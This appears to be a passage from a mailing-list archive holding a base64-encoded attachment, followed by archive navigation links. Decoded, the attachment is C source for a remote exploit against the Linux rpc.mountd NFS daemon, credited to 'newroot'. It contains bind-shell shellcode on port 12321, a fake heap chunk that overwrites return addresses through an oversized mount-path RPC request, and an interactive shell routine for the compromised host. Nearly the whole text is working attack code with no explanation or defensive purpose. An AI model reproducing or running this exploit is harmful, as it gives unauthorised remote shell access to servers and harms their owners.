ICAgICAgLyogdGFyZ2V0bnVtYmVyICovCnVuc2lnbmVkIGxvbmcgcmV0X2FkZHI7CnVuc2lnbmVk
IGxvbmcgcmV0X2xvYzsKCgp1bnNpZ25lZCBjaGFyIHNoZWxsY29kZVtdID0KICAgICAgICAvLyBw
b3J0IDEyMzIxIC0gbGludXggc2hlbGxjb2RlCgkgICJceGViXHgwYSIiZG9udCB0ZWxsISIgCiAg
ICAgICAgICAiXHg1NVx4ODlceGU1XHgzMVx4YzBceDY2XHhjN1x4NDVceGYyXHgzMCIKICAgICAg
ICAgICJceDIxXHg4OVx4NDVceGY0XHg4OVx4NDVceGY4XHg4OVx4NDVceGZjIgogICAgICAgICAg
Ilx4ODlceDQ1XHhlOFx4ZmVceGMwXHg4OVx4YzNceDg5XHg0NVx4ZTQiCiAgICAgICAgICAiXHhm
ZVx4YzBceDY2XHg4OVx4NDVceGYwXHg4OVx4NDVceGUwXHhiMCIKICAgICAgICAgICJceDY2XHg4
ZFx4NGRceGUwXHhjZFx4ODBceDg5XHg0NVx4ZTBceGIwIgogICAgICAgICAgIlx4NjZceGZlXHhj
M1x4OGRceDU1XHhmMFx4ODlceDU1XHhlNFx4MzEiCiAgICAgICAgICAiXHhkMlx4YjJceDQyXHg4
MFx4ZWFceDMyXHg4OVx4NTVceGU4XHg4ZCIKICAgICAgICAgICJceDRkXHhlMFx4Y2RceDgwXHhi
MFx4NjZceGZlXHhjM1x4ZmVceGMzIgogICAgICAgICAgIlx4ZmVceGMzXHg4OVx4NWRceGU0XHhm
ZVx4Y2JceDhkXHg0ZFx4ZTAiCiAgICAgICAgICAiXHhjZFx4ODBceGIwXHg2Nlx4ZmVceGMzXHgz
MVx4ZDJceDg5XHg1NSIKICAgICAgICAgICJceGU0XHg4ZFx4NGRceGUwXHhjZFx4ODBceDg5XHhk
OVx4ODlceGMzIgogICAgICAgICAgIlx4ZmVceGM5XHhmZVx4YzlceGZlXHhjOVx4MzFceGMwXHhi
MFx4M2YiCiAgICAgICAgICAiXHhjZFx4ODBceGZlXHhjMVx4ZTJceGY0XHg1MVx4NjhceDZlXHgy
ZiIKICAgICAgICAgICJceDczXHg2OFx4NjhceDJmXHgyZlx4NjJceDY5XHg4OVx4ZTNceDUxIgog
ICAgICAgICAgIlx4ODlceGUyXHg1M1x4ODlceGUxXHgzMVx4YzBceGIwXHgzZFx4MmMiCiAgICAg
ICAgICAiXHgzMlx4Y2RceDgwIjsKCgp2b2lkIGhlbHAgKCkgewogICAgICAgIGZwcmludGYgKHN0
ZGVyciwgInJlbW90ZSBycGMubW91bnRkIGV4cGxvaXRcbiIpOwogICAgICAgIGZwcmludGYgKHN0
ZGVyciwgIndyaXR0ZW4gYnkgbmV3cm9vdFxuIik7CiAgICAgICAgZnByaW50ZiAoc3RkZXJyLCAi
LS0tLS0tLS0tLS0tLS0tLS0tLS0tXG4iKTsKICAgICAgICBmcHJpbnRmIChzdGRlcnIsICJ1c3Nh
Z2U6ICVzIFtvcHRpb25zXSAgPGRlc3Q+XG5cbiIsICJtb3VudHkiKTsKICAgICAgICBmcHJpbnRm
IChzdGRlcnIsICJvcHRpb25zIGFyZTpcbiIpOwogICAgICAgIGZwcmludGYgKHN0ZGVyciwgIlx0
LXQgPG51bT5cdCMgdGFyZ2V0IHR5cGUgdXNlIDAgZm9yIGxpc3RcbiIpOwogICAgICAgIGZwcmlu
dGYgKHN0ZGVyciwgIlx0LWEgPG51bT5cdCMgYWxpZ25cbiIpOwogICAgICAgIGZwcmludGYgKHN0
ZGVyciwgIlx0LWwgPGxvYz5cdCMgcmV0dXJuIGxvY2FsdGlvbiAweGRlYWRmYWNlXG4iKTsKICAg
ICAgICBmcHJpbnRmIChzdGRlcnIsICJcdC1iIDxhZGR5Plx0IyByZXR1cm4gYWRyZXNzICAgIDB4
ZGVhZGZhY2VcbiIpOwogICAgICAgIGZwcmludGYgKHN0ZGVyciwgIlx0LXZcdFx0IyB2ZXJib3Nl
IG91dHB1dFxuXG4iKTsKfQoKdm9pZCBwcmludF90YXJnZXRzICgpIHsKICAgICAgICBpbnQgaTsK
CiAgICAgICAgZnByaW50ZiAoc3Rkb3V0LCAiU3VwcG9ydGVkIHRhcmdldHM6XG4iKTsKICAgICAg
ICBmb3IgKGk9MDsgdGFyZ2V0c1tpXS5yZXRfYWRkciAhPSAwOyBpKyspIHsKICAgICAgICAgICAg
ICAgIGZwcmludGYgKHN0ZG91dCwgIlx0JWkpIC0gJXNcbiIsIGkrMSwgIHRhcmdldHNbaV0uZGVz
Yyk7CiAgICAgICAgfQp9CgoKCmludCBjb25uZWN0X2hvc3QoY2hhciAqIGhvc3QsaW50IHBvcnQp
CnsKICAgICAgICBzdHJ1Y3Qgc29ja2FkZHJfaW4gYWRkcjsKICAgICAgICBzdHJ1Y3QgaG9zdGVu
dCAqaGU7CiAgICAgICAgaW50IHNvY2s7CgogICAgICAgIGhlPWdldGhvc3RieW5hbWUoaG9zdCk7
CgogICAgICAgIGlmIChoZT09TlVMTCkgcmV0dXJuIEVYSVRfRkFJTFVSRTsKICAgICAgICBzb2Nr
PXNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApOwogICAgICAgIGlmIChz
b2NrPT0tMSkgcmV0dXJuIEVYSVRfRkFJTFVSRTsKCiAgICAgICAgbWVtY3B5KCZhZGRyLnNpbl9h
ZGRyLCBoZS0+aF9hZGRyLCBoZS0+aF9sZW5ndGgpOwoKICAgICAgICBhZGRyLnNpbl9mYW1pbHk9
QUZfSU5FVDsKICAgICAgICBhZGRyLnNpbl9wb3J0PWh0b25zKHBvcnQpOwoKICAgICAgICBpZihj
b25uZWN0KHNvY2ssIChzdHJ1Y3Qgc29ja2FkZHIgKikmYWRkciwgc2l6ZW9mKGFkZHIpKSA9PSAt
MSkgc29jaz0tMTsKICAgICAgICByZXR1cm4gc29jazsKfQoKdm9pZCBzaGVsbChpbnQgdGhlc29j
aykKewogICAgICAgIGZkX3NldCAgZmRzOwogICAgICAgIGNoYXIgYnVmZlsxMDI0XSwgKmNtZD0i
L2Jpbi91bmFtZSAtYTsvdXNyL2Jpbi9pZDtcbiI7CiAgICAgICAgaW50IG47CgogICAgICAgIEZE
X1pFUk8oJmZkcyk7CiAgICAgICAgRkRfU0VUKHRoZXNvY2ssICZmZHMpOwogICAgICAgIEZEX1NF
VCgwLCAmZmRzKTsKCiAgICAgICAgc2VuZCh0aGVzb2NrLCBjbWQsIHN0cmxlbihjbWQpLCAwKTsK
ICAgICAgICB3aGlsZSgxKSB7CiAgICAgICAgICAgICAgICBGRF9TRVQodGhlc29jaywmZmRzKTsK
ICAgICAgICAgICAgICAgIEZEX1NFVCgwLCZmZHMpOwoKICAgICAgICAgICAgICAgIGlmKHNlbGVj
dCh0aGVzb2NrKzEsJmZkcywgTlVMTCwgTlVMTCwgTlVMTCk8MCkKICAgICAgICAgICAgICAgICAg
ICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBpZiggRkRfSVNTRVQodGhlc29jaywgJmZkcykg
KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEobj1yZWN2KHRoZXNvY2ssYnVmZixzaXpl
b2YoYnVmZiksMCkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpdChFWElU
X0ZBSUxVUkUpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAg
ICAgIGlmICghd3JpdGUgKDEsIGJ1ZmYsIG4pKQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICggRkRfSVNT
RVQoMCwgJmZkcykgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG4gPSByZWFkICgwLCBidWZm
LCBzaXplb2YoYnVmZikpOwogICAgICAgICAgICAgICAgICAgICAgICBpZihuIDw9IDApewogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCJFT0ZcbiIpOwogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoRVhJVF9GQUlMVVJFKTsKICAgICAgICAg
ICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZihzZW5kKHRoZXNvY2ss
YnVmZixuLDApPDApIGJyZWFrOwogICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZw
cmludGYoc3RkZXJyLCJkb25lLlxuIik7CiAgICAgICAgZXhpdChFWElUX1NVQ0NFU1MpOwp9CgoK
LyoqIHRyaWNrIGZyb20gc29yYm9zIG9uZSBjcmVkaXR6IHRvIGhpbSoqLwpib29sX3QgeGRyX2Rp
cnBhdGgoWERSICp4ZHJzLCBkaXJwYXRoICpvYmpwKSB7CiAgIHJldHVybiB4ZHJfc3RyaW5nKHhk
cnMsIG9ianAsIE1OVFBBVEhMRU4pOwp9CgoKCnZvaWQgZG9feHAoY2hhciAqaG9zdCwgaW50IHQp
IHsKCWludCB0aGVzb2NrOwoJc3RydWN0IHNvY2thZGRyX2luIHNpbjsKCXN0cnVjdCBob3N0ZW50
ICpoZTsKCXN0cnVjdCB0aW1ldmFsIHR2OwoJQ0xJRU5UICpjbGllbnQ7CS8qIHJwYy9jbG50Lmgg
Ki8KCWRpcnBhdGgJRElSOwoJZmhzdGF0dXMgKmZoOwoJc3RydWN0IGZha2VjaHVuayBjaHVuazsK
CWludCAgKnB0cjsKCWNoYXIgcGF5bG9hZFtCVUZTSVpFKzFdOwoKCWNodW5rLnByZXZfc2l6ZSA9
ICAgICAgICAweGZmZmZmZmZjOwoJY2h1bmsuc2l6ZSAgICAgID0gICAgICAgIDB4ZmZmZmZmZmM7
CgljaHVuay5qdW5rICAgICAgPSAgICAgICAgMHhiZmZmZmZhMTsKCgltZW1zZXQgKHBheWxvYWQs
IDB4NDEsIHNpemVvZihwYXlsb2FkKSk7CglwYXlsb2FkWzBdID0gJy8nOwoJcGF5bG9hZFtCVUZT
SVpFXT0gMHgwMDsKCgkKCWZvcihwdHIgPSAoaW50ICopKChjaGFyKilwYXlsb2FkK3RhcmdldHNb
dF0uYWxpZ24rMzAwKTsKCQkJcHRyIDwgKGludCopKHBheWxvYWQrc2l6ZW9mKHBheWxvYWQpLTYp
OyBwdHIrKykKCXsKCQkqcHRyID0gdGFyZ2V0c1t0XS5yZXRfYWRkcis0Kzg7ICAgICAgIAoJfQoK
CQoJY2h1bmsuYmsgPSAodGFyZ2V0c1t0XS5yZXRfbG9jKSs0LTEyOwoJY2h1bmsuZmQgPSAodGFy
Z2V0c1t0XS5yZXRfYWRkcikrNDA7CiAgICAgICAgbWVtY3B5KHBheWxvYWQrNCwmY2h1bmssc2l6
ZW9mKGNodW5rKSk7CiAgICAgICAgbWVtY3B5KHBheWxvYWQrNDAsc2hlbGxjb2RlLHN0cmxlbihz
aGVsbGNvZGUpKTsKCiAgICAgICAgaGU9Z2V0aG9zdGJ5bmFtZShob3N0KTsKCiAgICAgICAgaWYg
KGhlPT1OVUxMKSBleGl0KEVYSVRfRkFJTFVSRSk7CiAgICAgICAgbWVtY3B5KCZzaW4uc2luX2Fk
ZHIsIGhlLT5oX2FkZHIsIGhlLT5oX2xlbmd0aCk7CglzaW4uc2luX3BvcnQgPSAwOwoJc2luLnNp
bl9mYW1pbHkgPSBBRl9JTkVUOwoKCiAgICAgICAJZnByaW50ZiAoc3Rkb3V0LCAiWypdIHRhcmdl
dCBob3N0OiAlc1xuIiwgaG9zdCk7CiAgICAgICAJZnByaW50ZiAoc3Rkb3V0LCAiWypdIHRhcmdl
dCBpcCAgOiAlc1xuIiwgaW5ldF9udG9hKHNpbi5zaW5fYWRkci5zX2FkZHIpKTsKCQoJdGhlc29j
ayA9IFJQQ19BTllTT0NLOwoJY2xpZW50ID0gY2xudHRjcF9jcmVhdGUoJnNpbiwgTU9VTlRQUk9H
LCBNT1VOVFZFUlMsICZ0aGVzb2NrLCAwLCAwKTsKCWlmICghY2xpZW50KSB7CiAgICAgICAJZnBy
aW50ZiAoc3Rkb3V0LCAiWy1dIEV4cGxvaXQgRmFpbGVkIVxuIik7CgkJZXhpdCAoRVhJVF9GQUlM
VVJFKTsKCX0KCWNsaWVudC0+Y2xfYXV0aCA9IGF1dGh1bml4X2NyZWF0ZV9kZWZhdWx0KCk7CgoJ
dHYudHZfc2VjID0gNjsKCXR2LnR2X3VzZWMgPSAwOwoJRElSID0gcGF5bG9hZDsKCiAgICAgICAJ
ZnByaW50ZiAoc3Rkb3V0LCAiWypdIFNlbmRpbmcgZXhwbG9pdCFcbiIpOwoJLy8gZmggPSBtb3Vu
dHByb2NfbW50XzEgKCZESVIsIGNsaWVudCk7CglpZihjbG50X2NhbGwoY2xpZW50LCBNT1VOVFBS
T0NfTU5ULCAoeGRycHJvY190KSB4ZHJfZGlycGF0aCwgCgkJCQkodm9pZCAqKSZESVIsKHhkcnBy
b2NfdCkgeGRyX3ZvaWQsIE5VTEwsdHYpID09IFJQQ19TVUNDRVNTKSB7CgkgCWV4aXQoRVhJVF9G
QUlMVVJFKTsKICAgICAgICAgfQp9CgppbnQgbWFpbiAoaW50IGFyZ2MsIGNoYXIgKiphcmd2KSB7
CgljaGFyIGM7CglpbnQgb3B0ZXJyID0gMDsKCWludCB0aGVzb2NrOwoKICAgICAgICB3aGlsZSAo
KGMgPSBnZXRvcHQoYXJnYywgYXJndiwgInQ6YTpsOmI6dmgiKSkgIT0gRU9GKSB7CiAgICAgICAg
ICAgICAgICBzd2l0Y2ggKGMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAndCc6CiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdCA9IGF0b2kgKG9wdGFyZyk7CiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHQgPT0gMCkgewogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgcHJpbnRfdGFyZ2V0cygpOwogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEVYSVRfU1VDQ0VTUzsKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICB9IGVsc2UgeyAtLXQ7IH0KICAgICAgICAgICAgICAgICAgICAgICAg
YnJlYWs7CgogICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdhJzoKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBhbGlnbiA9IGF0b2kgKG9wdGFyZyk7CiAgICAgICAgICAgICAgICAg
ICAgICAgIGJyZWFrOwoKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbCc6CiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBzc2NhbmYgKG9wdGFyZywgIiV4IiAsICZyZXRfbG9jKTsK
ICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgICAgICAgICBj
YXNlICdiJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNzY2FuZiAob3B0YXJnLCAi
JXgiICwgJnJldF9hZGRyKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAg
ICAgICAgICAgICAgICAgICBjYXNlICd2JzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICArK3ZlcmJvc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWxw
ICgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBFWElUX1NVQ0NFU1M7
CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAg
IH0KCiAgICAgICAgaWYgKGFyZ2MgPCAyICkgewogICAgICAgICAgICAgICAgaGVscCgpOwogICAg
ICAgICAgICAgICAgcmV0dXJuIEVYSVRfRkFJTFVSRTsKICAgICAgICB9CgoJZnByaW50ZiAoc3Rk
ZXJyLCAicnBjLm1vdW50ZCByZW1vdGUgZXhwbG9pdCAtLSB3cml0dGVuIGJ5IG5ld3Jvb3QhXG4i
KTsKICAgICAgICBmcHJpbnRmKHN0ZG91dCwgIlsqXSBPayBnb2luZyB0byBleHBsb2l0IHNvbWV0
aGluZy4uLlxuIik7CgoJaWYgKHJldF9sb2MpIHsKCQlpZiAodmVyYm9zZSkgewoJCQlwcmludGYg
KCJbKl0gc2V0dGluZyByZXR1cm4tbG9jYXRpb24gdG8gJSN4XG4iLCByZXRfbG9jKTsKCQl9CgkJ
dGFyZ2V0c1t0XS5yZXRfbG9jID0gcmV0X2xvYzsKCX0KCWlmIChyZXRfYWRkcikgewoJCWlmICh2
ZXJib3NlKSB7CgkJCXByaW50ZiAoIlsqXSBzZXR0aW5nIHJldHVybi1hZHJlc3MgIHRvICUjeFxu
IiwgcmV0X2FkZHIpOwoJCX0KCQl0YXJnZXRzW3RdLnJldF9hZGRyID0gcmV0X2FkZHI7Cgl9Cglp
ZiAoYWxpZ24pIHsKCQlpZiAodmVyYm9zZSkgewoJCQlwcmludGYgKCJbKl0gYWxpZ24gdG8gJSN4
XG4iLCBhbGlnbik7CgkJfQoJCXRhcmdldHNbdF0uYWxpZ24gPSBhbGlnbjsKCX0KCWRvX3hwKGFy
Z3ZbKGFyZ2MtMSldLCB0KTsKCXRoZXNvY2sgPSBjb25uZWN0X2hvc3QgKGFyZ3ZbYXJnYy0xXSwg
MTIzMjEpOwogICAgICAgIGlmICh0aGVzb2NrID4gMykgewoJCSBmcHJpbnRmKHN0ZG91dCwgIlsq
XSBFeHBsb2l0IHN1Y2Nlc3NmdWwgISEhXG4iKTsKCSAgICAgICAgIGZwcmludGYoc3Rkb3V0LCAi
WypdIHdhaXRpbmcgZm9yIHNoZWxsIC4uLlxuIik7CgkgICAgICAgICBzaGVsbCh0aGVzb2NrKTsK
CSB9IGVsc2UgewoJCWZwcmludGYoc3RkZXJyLCAiWy1dIEZhaWxlZCFcbiIpOwoJCXJldHVybiBF
WElUX0ZBSUxVUkU7CgkgfQkKCglyZXR1cm4gRVhJVF9TVUNDRVNTOwp9Cg==
--=====================_25697562==_--


home help back first fref pref prev next nref lref last post